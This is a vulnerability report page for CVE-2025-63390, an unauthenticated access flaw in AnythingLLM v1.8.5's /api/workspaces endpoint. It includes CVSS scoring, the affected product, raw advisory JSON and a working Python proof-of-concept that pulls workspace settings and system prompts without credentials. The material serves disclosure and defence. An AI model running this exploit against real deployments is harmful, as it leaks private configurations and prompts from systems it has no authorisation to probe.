Security Vulnerability Report
中文
CVE-2025-63390 CVSS 5.3 MEDIUM

CVE-2025-63390

Published: 2025-12-18 16:15:55
Last Modified: 2026-01-22 18:16:44

Description

An authentication bypass vulnerability exists in AnythingLLM v1.8.5 in via the /api/workspaces endpoint. The endpoint fails to implement proper authentication checks, allowing unauthenticated remote attackers to enumerate and retrieve detailed information about all configured workspaces. Exposed data includes: workspace identifiers (id, name, slug), AI model configurations (chatProvider, chatModel, agentProvider), system prompts (openAiPrompt), operational parameters (temperature, history length, similarity thresholds), vector search settings, chat modes, and timestamps.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:mintplexlabs:anythingllm:1.8.5:*:*:*:*:*:*:* - VULNERABLE
AnythingLLM v1.8.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-63390 PoC - AnythingLLM Authentication Bypass # Target: AnythingLLM v1.8.5 /api/workspaces endpoint def exploit_anythingllm(target_url): """ Exploit for CVE-2025-63390 This PoC demonstrates the authentication bypass in /api/workspaces endpoint """ # Target endpoint without authentication endpoint = "/api/workspaces" url = target_url.rstrip('/') + endpoint print(f"[*] Target: {url}") print(f"[*] Exploiting CVE-2025-63390...") try: # Send unauthenticated request response = requests.get(url, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] Success! Received workspace data") print(f"[+] Found {len(data.get('workspaces', []))} workspaces") # Display workspace details for workspace in data.get('workspaces', []): print(f"\n[*] Workspace: {workspace.get('name')}") print(f" ID: {workspace.get('id')}") print(f" Slug: {workspace.get('slug')}") print(f" Chat Provider: {workspace.get('chatProvider')}") print(f" Chat Model: {workspace.get('chatModel')}") print(f" System Prompt: {workspace.get('openAiPrompt', 'N/A')[:100]}...") print(f" Temperature: {workspace.get('temperature')}") return data else: print(f"[-] Failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] else: target = "http://localhost:3001" exploit_anythingllm(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63390", "sourceIdentifier": "[email protected]", "published": "2025-12-18T16:15:54.867", "lastModified": "2026-01-22T18:16:44.250", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "An authentication bypass vulnerability exists in AnythingLLM v1.8.5 in via the /api/workspaces endpoint. The endpoint fails to implement proper authentication checks, allowing unauthenticated remote attackers to enumerate and retrieve detailed information about all configured workspaces. Exposed data includes: workspace identifiers (id, name, slug), AI model configurations (chatProvider, chatModel, agentProvider), system prompts (openAiPrompt), operational parameters (temperature, history length, similarity thresholds), vector search settings, chat modes, and timestamps."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mintplexlabs:anythingllm:1.8.5:*:*:*:*:*:*:*", "matchCriteriaId": "8077D16C-0587-4C1D-AA91-AF94E14631A2"}]}]}], "references": [{"url": "https://gist.github.com/Cristliu/0897bceac5fdc2d945304b5087a84f14", "source": "[email protected]"}, {"url": "https://gist.github.com/Cristliu/ba529c99abec87102e5ef36435d02a6d", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/Mintplex-Labs/anything-llm/issues", "source": "[email protected]", "tags": ["Issue Tracking"]}]}}